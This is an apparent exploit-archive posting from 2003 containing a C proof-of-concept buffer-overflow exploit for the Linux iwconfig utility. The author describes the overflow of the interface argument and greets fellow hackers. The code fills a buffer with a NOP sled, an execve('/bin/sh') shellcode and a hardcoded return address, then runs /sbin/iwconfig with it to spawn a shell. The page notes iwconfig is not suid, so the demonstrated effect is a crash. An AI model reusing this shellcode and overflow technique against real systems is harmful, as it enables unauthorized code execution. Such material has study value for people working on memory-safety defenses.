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iwconfig.c

iwconfig.c
Posted Oct 21, 2003
Authored by NrAziz

Iwconfig local proof of concept exploit - Causes a seg fault. Note that iwconfig is not suid.

tags | exploit, local, proof of concept
SHA-256 | 867f82eb7dcfc7a51d785f60e5b6f4bdc86928b16aa0629292f6687d0fe23112

iwconfig.c

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/*
* (C) 2003 NrAziz
* polygrithm_at_hotmail[DOT]com
*/

/*
* Greetz to Mixter,gorny,rave..
*/

/*
* Description:
* iwconfig configures a wireless network interface and is similar to ifconfig
* except that iwconfig configures wireless interfaces.
* Vulnerability:
* Instead of giving the interface parameter when a large string is given
* the buffer overflows :-)...
*/

/*
* Yet another Proof Of Concept Xploit for 'iwconfig'
*/


#include <stdio.h>
#include <stdlib.h>

#define BUFF_SIZE 98
#define RET 0xbffffc3f

char shellcode[]=
"\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d"
"\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58";

int main(int argc,char **argv)
{

int i;
char *buff=(char *)malloc(sizeof(char)*BUFF_SIZE);

for(i=0;i<BUFF_SIZE;i+=4)
*(long *)&buff[i]=RET;

for(i=0;i<BUFF_SIZE-strlen(shellcode)-12;i++)
*(buff+i)=0x90;

memcpy(buff+i,shellcode,strlen(shellcode));

execl("/sbin/iwconfig","iwconfig",buff,(char *)NULL);

return 0;
}
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